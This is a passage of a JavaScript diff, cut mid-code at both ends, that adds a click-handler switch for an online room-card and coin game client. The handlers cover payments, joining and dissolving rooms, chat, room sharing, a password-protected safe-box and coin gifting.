(!GameData.hallConfig.androidPay) { + switch (GameData.agentmode) { + case 2: + if (GameData.TopUpUrl) { + Func.browser(GameData.TopUpUrl + "?agentid=" + GameData.AgentId + "&channelid=" + GameData.ChannelId + "&marketid=" + GameData.marketID + "&playerid=" + C_Player.playerid); + } else { + if (GameData.hallConfig.enablePay) { + var data = {}; + data.agentid = GameData.AgentId; + Net.Send_get_paylist(data); + } + } + break; + case 3: + if (GameData.hallConfig.channelKey) { + try { + //var type = 1; + //if(spid_up==509||spid_up==508){ + //type=2; + //} + pop_intZhifuMadal(GameData.AgentId, GameData.ChannelId, C_Player.playerid, type, GameData.hallConfig.channelKey, 2, 0, C_Player.openid, C_Player.unionid); + //pop_zhifuMadal(); + } catch (e) {} + } else { + + } + break; + } + + + } else { + if (GameData.OS == ConstVal.OS.android) { + //var type = 1; + //if(spid_up==509||spid_up==508){ + //type=2; + //} + Func.ypayType(type); + } + } + } else { + var data = {}; + data.agentid = GameData.AgentId; + Net.Send_get_paylist(data); + } + } + } else { + if (GameData.sysConfig.h5PayUrl) { + var url = GameData.sysConfig.h5PayUrl + "?agentid" + GameData.AgentId + "&channelid" + GameData.ChannelId; + window.location.href = fixUrl(url); + } + + } + } + break; + case 146: + //关闭充值提示 + this.CloseCharge(); + break; + case 233: + //退出房间 + case 3145: + GameUI.closeMainSceneBtnPanel(); + if (Desk.infinite == 0) { + if (C_Player.status == 1) { + GameData.checkType = 2; + GameUI.openCheck("房间仍存在,是否退出?"); + } else { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_exit_room(data); + } + } else { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_exit_room(data); + } + break; + + case 181: + //申请解散房间/退出房间 + if (C_Player.canexit == 1) { //未开局 + if (Desk.infinite == 0) { + + if (C_Player.status == 2) { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_exit_room(data); + } else { + GameUI.CloseSetting(); + var c_msg = ""; + if (GameData.versionState == 1) { + + c_msg = " 是否解散房间??"; + } else { + c_msg = "解散房间不扣" + GameData.roomCardName + ",是否解散?"; + } + GameData.checkType = 1; + GameUI.openCheck(c_msg); + + } + } else { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_exit_room(data); + } + + } else { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_apply_free_room(data); + } + break; + case 182: + //邀请好友 + case 183: + + if(!GameData.sysConfig.appShareH5){ + Func.sharefinend(1, 1, Game_Config.Share.appdownload, Game_Config.Share.title + Desk.videoDes + Game_Config.Share.gameTitle + GameData.shareMsg, Game_Config.Share.gameDescription); + }else{ + Func.sharefinend(1, 1, GameData.sysConfig.appShareH5, Game_Config.Share.title + Desk.videoDes + Game_Config.Share.gameTitle + GameData.shareMsg, Game_Config.Share.gameDescription); + } + + + break; + case 151: + //打开游戏主界面设置 + GameUI.OpenSetting(1); + break; + case 184: + //开始按钮 + //this.StartLoad(); + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_makewar(data); + break; + case 185: + //解散 + case 3144: + if (Desk.stage == 0) { + var c_msg = ""; + if (GameData.versionState == 1) { + + c_msg = " 是否解散房间?"; + } else { + c_msg = "解散房间不扣" + GameData.roomCardName + ",是否解散?"; + } + GameData.checkType = 1; + GameUI.closeMainSceneBtnPanel(); + GameUI.openCheck(c_msg); + } else { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_apply_free_room(data); + } + break; + case 201: + //同意解散 + //this.StartLoad(); + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_agree_free_room(data); + break; + case 202: + //拒绝解散 + //this.StartLoad(); + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_refuse_free_room(data); + break; + case 153: + //打开聊天按钮 + GameUI.OpenChat(); + break; + case 186: + //关闭聊天 + var obj = gameabc_face.getdiv("div204"); + obj.blur(); + obj = null; + this.CloseChat(); + break; + case 205: + //发送聊天 + var text = get_self(204, 7, 0, 0, 0); + var text_bool = Func.strisNull(text); + if (!text_bool) { + var obj = gameabc_face.getdiv("div204"); + obj.blur(); + obj = null; + if (!Func.filter(text)) { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + GameData.selectSysNotice == true ? data.type = 1 : data.type = 0; + data.text = text; + //if(Game_Config.sysConfig.vipInfinite){ + // data.brType = 1; + //}else{ + // data.brType = 0; + //} + if (GameData.chatInfo) { + data.info = GameData.chatInfo; + data.type = 2; + } + Net.Send_send_text(data); + } else { + this.OpenTips("内容含有敏感词汇请重新输入!", ConstVal.Tips.time); + } + } + break; + case 188: + //点击常用语 + //set_self(188,43,2,0,0); + var obj = gameabc_face.getdiv("div204"); + obj.blur(); + obj = null; + this.SelectMsg(); + break; + case 203: + //点击表情 + var obj = gameabc_face.getdiv("div204"); + obj.blur(); + obj = null; + this.SelectEmotion(); + break; + case 698: + //点击表情 + var obj = gameabc_face.getdiv("div204"); + obj.blur(); + obj = null; + this.SelectHistory(); + break; + case 223: + //投票结果 + this.CloseApplyResult(); + break; + case 224: + //退出程序 + Func.exit(); + break; + case 226: + //关闭房卡提示 + GameUI.Closeupdataroomcard(); + break; + + case 217: + case 218: + //关闭提示 + case 3193: + GameUI.CloseTips(); + break; + case 245: + //确认解散 + switch (GameData.checkType) { + case 1: + //解散房间 + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_break_room(data); + break; + case 2: + //退出房间 + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + Net.Send_self_exit_room(data); + break; + case 3: + //投降 + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + data.count = GameData.surrendCount; + Net.Send_beanroom_surrender(data); + break; + case 4: + //删除房间 + console.log(GameData.snrRoomList.roomlist[GameData.snrOptionRoomTag]); + + break; + case 5: + //h5跳转直接进入房间的确定 + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = GameData.fromH5GameData.data.roomcode; + Net.Send_self_join_room(data); + break; + case 6://全部添加黑名单 + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.type = 6; + Net.Send_optBanList(data); + break; + case 7://设置全部魅力 + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.value = GameData.allCharm; + Net.Send_setAllCharm(data); + break; + //删除白名单玩家 + case 8: + this.closeCheck(); + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.shortcode = C_Player.shortcode; + data.mode = 2; + data.userid = GameData.whiteList.delPid; + Net.Send_optWhiteList(data); + break; + case 9: + this.closeCheck(); + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.shortcode = C_Player.shortcode; + data.gameid = GameData.GameId; + data.mode = 1; + data.userid = GameData.whiteList.delPid; + data.value = GameData.whiteList.inputCharm; + Net.Send_optWhiteList(data); + break; + } + + break; + case 247: + case 242: + case 246: + this.closeCheck(); + break; + case 248: + //协议确认按钮 + GameData.ProtocolIndex = !GameData.ProtocolIndex; + break; + case 249: + //打开协议 + this.OpenProtocol(); + break; + case 250: + case 253: + this.CloseProtocol(); + break; + case 332: + //关闭即时信息 + case 333: + case 335: + GameUI.HideiMessage(); + break; + //case 339://微信公众 + //case 680: + case 76: + GameUI.Open_ewm(); + break; + case 345: + //Func.sharephotourl(1,GameData.wechat_ewm); + Func.sharefinend(1, 3, GameData.wechat_ewm); + break; + case 341: + GameUI.Close_ewm(); + break; + case GameData.telSpid: + Func.callphone(GameData.tel); + break; + case 366: + //粘贴 + GameData.gamepastetext = "mouseup_366"; + var text = Func.gamepastetext(); + if (GameData.userAgent != ConstVal.userAgent.uAgent_3) { + var reg = /[^0-9]/g; + if (text) { + text = text.replace(reg, ""); + //if(reg.test(text)){ + set_self(365, 7, text, 0, 0); + //}else{ + //GameUI.OpenTips("粘贴内容格式不符!",ConstVal.Tips.time); + //} + } + } + break; + + case 367: + var text = get_self(365, 7, 0, 0, 0); + var obj = gameabc_face.getdiv("div365"); + obj.blur(); + obj = null; + //if(text.length == 6){ + GameUI.CloseBind(); + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.invitecode = text; + Net.Send_binding_invitecode(data); + //}else{ + //GameUI.OpenTips("邀请码长度为6位!",ConstVal.Tips.time); + //} + break; + case 235: + + //GameUI.OpenBind(); + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.unionid = C_Player.unionid; + data.openid = C_Player.openid; + Net.Send_get_player_invitecode(data); + break; + case 362: + GameUI.CloseBind(); + break; + case 371: + case 375: + GameUI.hideCal(); + break; + case 46: + case 386: + //关闭支付金额选择界面 + GameUI.ClosePay(); + break; + case 456: + //关闭支付确认界面 + GameUI.CloseCheckPay(); + break; + case 464: + //确认支付 + GameUI.StartLoad(); + var data = {}; + data.body = GameData.payList[GameData.payData[0]].memo; + data.price = GameData.payList[GameData.payData[0]].money; + data.amount = GameData.payList[GameData.payData[0]].amount; + data.productid = GameData.payList[GameData.payData[0]].productid; + data.user = Utl.getMyPlayerid(); + data.type = GameData.payList[GameData.payData[0]].payid; + data.typeplay = GameData.payData[1] + 1; + Func.getGamepay(JSON.stringify(data)); + break; + case 465: + backgameData(); + + break; + case 481: + GameData.visitorClick++; + break; + case 482: + if (GameData.visitorClick >= 5 && Game_Config.Debugger.visitorLogin) { + GameData.visitorClick = 0; + Func.visitorLogin(); + } + break; + case 389: + case 390: + GameUI.closeBroadcastfromplayer(); + break; + case 483: + Logic.openMatchUrl(); + //else{ + //GameUI.OpenTips("暂未开放,敬请期待",ConstVal.Tips.time); + //} + break; + case 484: + GameUI.CloseInfo_hall(); + GameUI.openAuth(); + break; + case 485: + GameUI.closeAuth(); + break; + case 493: + var name_text = get_self(489, 7, 0, 0, 0); + var id_text = get_self(490, 7, 0, 0, 0); + if (name_text.length > 1) { + if (GameData.Validator.isValid(id_text)) { + GameUI.closeAuth(); + GameUI.OpenTips("认证成功!", ConstVal.Tips.time); + } else { + GameUI.OpenTips("身份证信息不正确!", ConstVal.Tips.time); + } + } else { + GameUI.OpenTips("姓名不正确!", ConstVal.Tips.time); + } + break; + case 494: + //点击设置为无限局 + GameData.infClickCount++; + if (GameData.infClickCount >= 5) { + GameData.infMode = 1; + } + break; + case 495: + //设置为正常 + GameData.infMode = 0; + break; + //case 682: + //if(GameData.roomList.length>=1){ + //var data={}; + //data.agentid = GameData.AgentId; + //data.playerid = C_Player.playerid; + //data.gameid = GameData.GameId; + //data.roomcode = GameData.roomList[GameData.roomList.length-1]; + //data.joinmode = 1; + //Net.Send_self_join_room(data); + + //} + //break; + //case 178: + //if(GameData.roomList.length>=2){ + //var data={}; + //data.agentid = GameData.AgentId; + //data.playerid = C_Player.playerid; + //data.gameid = GameData.GameId; + //data.roomcode = GameData.roomList[GameData.roomList.length-2]; + //data.joinmode = 1; + //Net.Send_self_join_room(data); + + //} + //break; + //case 179: + //if(GameData.roomList.length>=3){ + //var data={}; + //data.agentid = GameData.AgentId; + //data.playerid = C_Player.playerid; + //data.gameid = GameData.GameId; + //data.roomcode = GameData.roomList[GameData.roomList.length-3]; + //data.joinmode = 1; + //Net.Send_self_join_room(data); + + //} + //break; + case 512: + case 3143: + Func.gameCopytext(Desk.roomcode); + GameUI.OpenTips("复制成功!", ConstVal.Tips.time); + break; + case 513: + //GameData.checkType = 3; + //GameUI.openCheck("将扣除"+Desk.starCount+"个"+GameData.starName+",确定逃跑?"); + //Utl.openInputPanel("请输入投降扣除数量(底翻)",function(_data){ + //if(_data <= Desk.starCount){ + //GameData.surrendCount = _data; + //Utl.closeInputPanel(); + //GameData.checkType = 3; + //GameUI.openCheck("将扣除"+_data+GameData.starName+",确定逃跑?"); + //}else{ + //GameUI.OpenTips("输入数量大于最大值"+Desk.starCount+"!",ConstVal.Tips.time); + //} + //}); + GameUI.closeMainSceneBtnPanel(); + Utl.openInputPanel("请输入投降扣除数量(底翻)", function(_data) { + if (_data <= C_Player.bean) { + GameData.surrendCount = _data; + Utl.closeInputPanel(); + GameData.checkType = 3; + GameUI.openCheck("将扣除" + _data + GameData.starName + ",确定逃跑?"); + } else { + GameUI.OpenTips("输入大于您拥有的" + _data + GameData.starName + "数:" + C_Player.bean + "!", ConstVal.Tips.time); + } + }); + break; + case 514: + Logic.pasteRoomCode(); + break; + case 515: + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = Desk.roomcode; + Net.Send_player_prepare(data); + break; + case ConstVal.worldRoom.f_sp_1: + //点击系统房间 + var up_id = ifast_check_add(spid_up, upx, upy); + if (!GameData.worldRoomSysSlide) { + if (up_id >= ConstVal.worldRoom.bg_sp_tag_1 && up_id < ConstVal.worldRoom.top_sp_tag_1) { + //console.log(GameData.worldRoomSys[up_id - ConstVal.worldRoom.bg_sp_tag_1]); + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.type = GameData.worldRoomSys[up_id - ConstVal.worldRoom.bg_sp_tag_1].type; + data.roomtype = GameData.worldRoomSys[up_id - ConstVal.worldRoom.bg_sp_tag_1].roomtype; + Net.Send_quick_enter_share_room(data); + } + + } + break; + case ConstVal.worldRoom.f_sp_2: + //点击玩家房间 + var up_id = ifast_check_add(spid_up, upx, upy); + if (!GameData.worldRoomPlySlide) { + if (up_id >= ConstVal.worldRoom.bg_sp_tag_2 && up_id < ConstVal.worldRoom.top_sp_tag_2) { + console.log(GameData.worldRoomPly[up_id - ConstVal.worldRoom.bg_sp_tag_2]); + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.worldRoomPly[up_id - ConstVal.worldRoom.bg_sp_tag_2].roomcode; + data.joinmode = 0; + Net.Send_self_join_room(data); + } + + } + break; + case ConstVal.rankList.f_spid: + //点击玩家房间 + var up_id = ifast_check_add(spid_up, upx, upy); + if (!GameData.rankListSlide) { + if (up_id >= ConstVal.rankList.bg_tag && up_id < ConstVal.rankList.badge_tag) { + //console.log(GameData.rankList[up_id - ConstVal.rankList.bg_tag]); + GameUI.clickRankList(up_id - ConstVal.rankList.bg_tag); + } + + } + break; + case ConstVal.vipRoomList1.f_spid: + // + var up_id = ifast_check_add(spid_up, upx, upy); + if (!GameData.vipRoomPageOne.slide) { + if (up_id >= ConstVal.vipRoomList1.bg_tag && up_id < ConstVal.vipRoomList1.title_tag) { + var indx = up_id - ConstVal.vipRoomList1.bg_tag; + GameData.vipRoomCode = GameData.vipRoomData[indx].shortCode; + console.log("进入", indx, GameData.vipRoomCode); + GameUI.goVipPageTwo(); + } +/* + if(up_id>=ConstVal.vipRoomList1.title_tag&&up_id=ConstVal.vipRoomList1.code_tag&&up_id=ConstVal.vipRoomList1.owner_tag&&up_id=ConstVal.vipRoomList1.count_tag&&up_id= ConstVal.vipRoomList1.del_tag && up_id < ConstVal.vipRoomList1.enter_tag) { + var indx = up_id - ConstVal.vipRoomList1.del_tag; + //GameData.vipRoomCode = GameData.vipRoomShortList[indx]; + GameData.vipRoomCode = GameData.vipRoomData[indx].shortCode; + console.log("删除", indx, GameData.vipRoomCode); + Logic.delVipRoom(GameData.vipRoomShortList[indx]); + GameUI.setVipRoomListData(GameData.vipRoomData); + GameUI.updateVipRoomList(); + + } + if (up_id >= ConstVal.vipRoomList1.enter_tag) { + var indx = up_id - ConstVal.vipRoomList1.enter_tag; + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.vipRoomData[indx].shortCode; + data.joinmode = 0; + Net.Send_self_join_room(data); + + } + + } + break; + case ConstVal.vipRoomList2.f_spid: + // + var up_id = ifast_check_add(spid_up, upx, upy); + if (!GameData.vipRoomPageTwo.slide) { + if (up_id >= ConstVal.vipRoomList2.bg_tag && up_id < ConstVal.vipRoomList2.code_tag) { + var indx = up_id - ConstVal.vipRoomList2.bg_tag; + console.log("进入", GameData.vipRoomPageTwo.data.roomcodes.roomlist[indx]); + GameData.vipRoomJump = true; + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.vipRoomPageTwo.data.roomcodes.roomlist[indx]; + data.joinmode = 0; + Net.Send_self_join_room(data); + //GameUI.goVipPageTwo(); + } + if (up_id >= ConstVal.vipRoomList2.code_tag && up_id < ConstVal.vipRoomList2.count_tag) { + var indx = up_id - ConstVal.vipRoomList2.code_tag; + console.log("进入", GameData.vipRoomPageTwo.data.roomcodes.roomlist[indx]); + //GameUI.goVipPageTwo(); + GameData.vipRoomJump = true; + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.vipRoomPageTwo.data.roomcodes.roomlist[indx]; + data.joinmode = 0; + Net.Send_self_join_room(data); + } + if (up_id >= ConstVal.vipRoomList2.count_tag) { + var indx = up_id - ConstVal.vipRoomList2.count_tag; + console.log("进入", GameData.vipRoomPageTwo.data.roomcodes.roomlist[indx]); + GameData.vipRoomJump = true; + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.vipRoomPageTwo.data.roomcodes.roomlist[indx]; + data.joinmode = 0; + Net.Send_self_join_room(data); + //GameUI.goVipPageTwo(); + } + + + + } + break; + + case 519: + //关闭 + GameUI.closeWorldRoom(); + break; + case 520: + //刷新 + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + Net.Send_get_share_room(data); + break; + case 521: + //快速加入 + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.type = 1; + data.roomtype = null; + Net.Send_quick_enter_share_room(data); + break; + case 568: + //获取星星争霸场 + if (GameData.hallConfig.worldRoomList) { + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + Net.Send_get_share_room(data); + } else { + GameUI.OpenTips("暂未开放,敬请期待", ConstVal.Tips.time); + } + break; + case 569: + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = Desk.roomcode; + Net.Send_share_room(data); + break; + case 570: + GameUI.goBoardPageOne(); + break; + case 571: + GameUI.goBoardPageTwo(); + break; + case 572: + GameUI.goBoardPageThree(); + break; + case 576: + var url = ""; + switch (GameData.noticePage) { + case 0: + url = GameData.advertInfo_0.url; + break; + case 1: + url = GameData.advertInfo_1.url; + break; + case 2: + url = GameData.advertInfo_2.url; + break; + } + Func.browser(url); + break; + case 579: + //case 577: + GameUI.closeSeniorOptions(); + break; + case ConstVal.snrRoomList.f_spid: + // + var up_id = ifast_check_add(spid_up, upx, upy); + if (!GameData.snrRoomListSlide) { + //进入 + if (up_id >= ConstVal.snrRoomList.bg_tag && up_id < ConstVal.snrRoomList.rcode_bg_tag) { + GameData.snrOptionRoomTag = up_id - ConstVal.snrRoomList.bg_tag; + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.snrRoomList.roomlist[GameData.snrOptionRoomTag]; + data.joinmode = 0; + Net.Send_self_join_room(data); + } + if (up_id >= ConstVal.snrRoomList.rcode_tag && up_id < ConstVal.snrRoomList.close_tag) { + GameData.snrOptionRoomTag = up_id - ConstVal.snrRoomList.rcode_tag; + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.snrRoomList.roomlist[GameData.snrOptionRoomTag]; + data.joinmode = 0; + Net.Send_self_join_room(data); + } + if (up_id >= ConstVal.snrRoomList.video_tag) { + GameData.snrOptionRoomTag = up_id - ConstVal.snrRoomList.video_tag; + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.snrRoomList.roomlist[GameData.snrOptionRoomTag]; + data.joinmode = 0; + Net.Send_self_join_room(data); + } + //修改 + //if(up_id>=ConstVal.snrRoomList.update_tag&&up_id=ConstVal.snrRoomList.switch_tag&&up_id 0) { + + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = RoomNum; + Net.Send_self_join_room(data); + } + break; + case 626: + GameData.snrOption.profit = GameUI.Mem.snrOption.number; + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + //if(GameData.snrOptionMode == 0){ + data.tea = GameUI.Mem.snrOption.number + GameUI.Mem.snrOption.sysRebate; + //}else{ + //data.tea = 0; + //} + data.infinite = GameUI.Mem.snrOption.infinite; + if (Game_Config.sysConfig.vipInfinite) { + data.infinite = 1; + } + data.roomtype = GameData.snrOptionRoomtype; + data.videoConfig = GameUI.Mem.snrOption.videoConfig; + if (Game_Config.sysConfig.vipInfinite) { + data.videoConfig = null; + } + + //data.forbidSelect = GameUI.Mem.snrOption.forbidSelect; + + data.rebateLimit = GameUI.Mem.snrOption.rebateLimit; + data.rebateType = GameUI.Mem.snrOption.rebateType; + Net.Send_advanced_createroom(data); + break; + case 604: + case 3233: + if (GameData.hallConfig.rankList == 1) { + GameUI.openRankList(); + } else if (GameData.hallConfig.rankList == 2) { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + Net.Send_get_treasurelist(data); + } + break; + case 605: + GameUI.closeRankList(); + break; + case 652: + //分享微信好友 + { + var vText = ""; + if (GameUI.Mem.snrOption.videoConfig) { + vText = "*【视频房】"; + } + + Func.sharefinend(1, 1, Game_Config.Share.appdownload, Game_Config.Share.title + vText + "微房号:" + GameData.snrRoomList.shortcode, Game_Config.Share.description); + + } + break; + case 653: + //分享微信朋友圈 + { + + + var isBean = 0; + if (Game_Modify.getRoomMode) { + isBean = Game_Modify.getRoomMode(GameData.snrRoomList.roomtype); + } + switch (isBean) { + case 1: + if (GameData.snrRoomList.roomlist.length > 0) { + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomlist = GameData.snrRoomList.roomlist; + data.roomtype = GameData.snrRoomList.roomtype; + data.shareType = 1; + Net.Send_share_room(data); + } else { + GameUI.OpenTips("没有已创建房间,无法分享!", ConstVal.Tips.time); + } + break; + default: + GameUI.OpenTips("仅金币房间支持分享到金币场!", ConstVal.Tips.time); + break; + } + + } + break; + case 654: + GameUI.closeShareImg(); + break; + case 655: + GameUI.HideImg(); + break; + case 656: + GameUI.closeMainSceneBtnPanel(); + Func.appDownload(Game_Config.Share.appdownload); + break; + case 3004: + case 659: + GameUI.closeInputPanel(); + break; + case 3005: + case 3011: + GameUI.hideNeighbor(); + break; + case 3007: + case 3008: + case 3009: + case 3010: + GameUI.OpenTips("邀请成功!", ConstVal.Tips.time); + break; + case 3012: + case 3013: + GameUI.closeTips2(); + break; + case 3014: + GameUI.closeMainSceneBtnPanel(); + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = Desk.roomcode; + Net.Send_change_room(data); + break; + case 3016: + //商城 + Logic.jumpToStore(); + break; + case 3017: + //背包 + Logic.jumpToBag(); + break; + case 3018: + //活动 + Logic.jumpToAct(); + break; + case 3019: + // + GameUI.closeWorldRoom(); + Game_Modify.OpenCreateRoom(); + break; + case 3034: + case 3035: + GameData.wareHouse.safeInputType = spid_up - 3033; + GameUI.updateWareHouseCheckBox(); + break; + case 3059: + case 3060: + GameUI.switchWareHousePage(spid_up - 3058, true); + break; + case 3029: + case 97: + GameUI.closeWareHouse(); + break; + case 3067: + //初始化密码 + GameUI.selectWareHouseInputType(1); + break; + case 3068: + //初始化密码二次输入 + GameUI.selectWareHouseInputType(2); + break; + case 3038: + //存入取出数量 + GameUI.selectWareHouseInputType(3); + break; + case 3039: + //存入取出密码 + GameUI.selectWareHouseInputType(4); + break; + case 3087: + //赠送id + GameUI.selectWareHouseInputType(5); + break; + case 3088: + //赠送数量 + GameUI.selectWareHouseInputType(6); + break; + case 3089: + //赠送密码 + GameUI.selectWareHouseInputType(7); + break; + case 3057: + GameUI.openWareHouse(true); + break; + case 3075: + case 3076: + GameData.wareHouse.pInputType = spid_up - 3074; + GameUI.updateWareHouseCheckBox(); + break; + case 3096: + if(String(GameData.wareHouse.pInputId).length==6){ + var data={}; + set_self(3081,1,170,0,0); + set_self(3082,7,'',0,0); + data.agentid = GameData.AgentId; + data.playerid = GameData.wareHouse.pInputId; + Net.Send_query_player2(data); + }else{ + GameUI.OpenTips("玩家ID输入不正确",ConstVal.Tips.time); + } + //GameData.wareHouse.pId = 123456; + //GameData.wareHouse.pImg = C_Player.avatar; + //GameData.wareHouse.pNickName = "afeafefa"; + //GameUI.updateWareHousePlayerInfo(); + break; + case 3043: + console.log(GameData.wareHouse); + if(GameData.wareHouse.page == 1){ + console.log(GameData.wareHouse.selectType); + switch (GameData.wareHouse.selectType) { + case 1: + case 2: + //设置初始密码 + console.log("设置初始密码"); + if (GameData.wareHouse.initPassWord1 == GameData.wareHouse.initPassWord2) { + if (GameData.wareHouse.initPassWord1 != -1 && String(GameData.wareHouse.initPassWord1).length != 0) { + + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.unionid = C_Player.unionid; + data.password = String(GameData.wareHouse.initPassWord1); + console.log("输入合法"); + console.log(data); + Net.Send_set_bankpwd(data); + } + } + break; + case 3: + case 4: + //保险箱存取 + console.log("存取" + GameData.wareHouse.safeInputType); + console.log("数量" + GameData.wareHouse.safeInputCount); + console.log("密码" + GameData.wareHouse.safePassWord); + if (GameData.wareHouse.safeInputCount == -1 || String(GameData.wareHouse.safeInputCount).length == 0) { + GameUI.OpenTips("输入数量为空!", ConstVal.Tips.time); + break; + } else { + if (GameData.wareHouse.safePassWord == -1 || String(GameData.wareHouse.safePassWord).length == 0) { + GameUI.OpenTips("密码不能为空!", ConstVal.Tips.time); + } else { + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.mode = GameData.wareHouse.safeInputType - 1; + data.password = String(GameData.wareHouse.safePassWord); + + data.count = Number(GameData.wareHouse.safeInputCount); + + if (GameData.wareHouse.safeInputType == 1) { //存入需要扣除默认赠送的金币 + if (C_Player.bean < 0) { + data.count = 0; + GameData.wareHouse.safeInputCount = 0; + GameUI.updateWareHouseInput(); + } else { + + if (C_Player.bean < GameData.initBean) { + GameUI.OpenTips("您身上必须保留"+GameData.initBean+GameData.starName+"!",ConstVal.Tips.time); + data.count = 0; + GameData.wareHouse.safeInputCount = 0; + GameUI.updateWareHouseInput(); + } else { + if (C_Player.bean - GameData.wareHouse.safeInputCount <= GameData.initBean) { + GameUI.OpenTips("您身上必须保留"+GameData.initBean+GameData.starName+"!",ConstVal.Tips.time); + data.count = C_Player.bean - GameData.initBean; + GameData.wareHouse.safeInputCount = C_Player.bean - GameData.initBean; + GameUI.updateWareHouseInput(); + } + } + } + + + } + //console.log(data); + Net.Send_change_star(data); + } + + } + + + + break; + } + }else{ + + switch (GameData.wareHouse.selectType) { + case 1: + case 2: + //设置初始密码 + console.log("设置初始密码"); + if (GameData.wareHouse.initPassWord1 == GameData.wareHouse.initPassWord2) { + if (GameData.wareHouse.initPassWord1 != -1 && String(GameData.wareHouse.initPassWord1).length != 0) { + + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.unionid = C_Player.unionid; + data.password = String(GameData.wareHouse.initPassWord1); + console.log("输入合法"); + console.log(data); + Net.Send_set_bankpwd(data); + } + } + break; + default: + if(String(GameData.wareHouse.pInputId).length != 6){ + GameUI.OpenTips("玩家ID为6位!",ConstVal.Tips.time); + }else{ + var data={}; + data.agentid = GameData.AgentId; + data.count = GameData.wareHouse.pInputCount; + data.playerid = C_Player.playerid; + data.password = GameData.wareHouse.pInputPassWord; + data.toPlayerid = GameData.wareHouse.pInputId; + data.gameid = GameData.GameId; + Net.Send_giveCoin(data); + } + break; + } + } + + + break; + case 3097: + Utl.openInputPanel("输入范围为 " + GameUI.Mem.snrOption.min + "~" + GameUI.Mem.snrOption.max, snrInputCallback); + break; + case 3100: + GameUI.Mem.snrOption.infinite == 1 ? GameUI.Mem.snrOption.infinite = 0 : GameUI.Mem.snrOption.infinite = 1; + break; + case 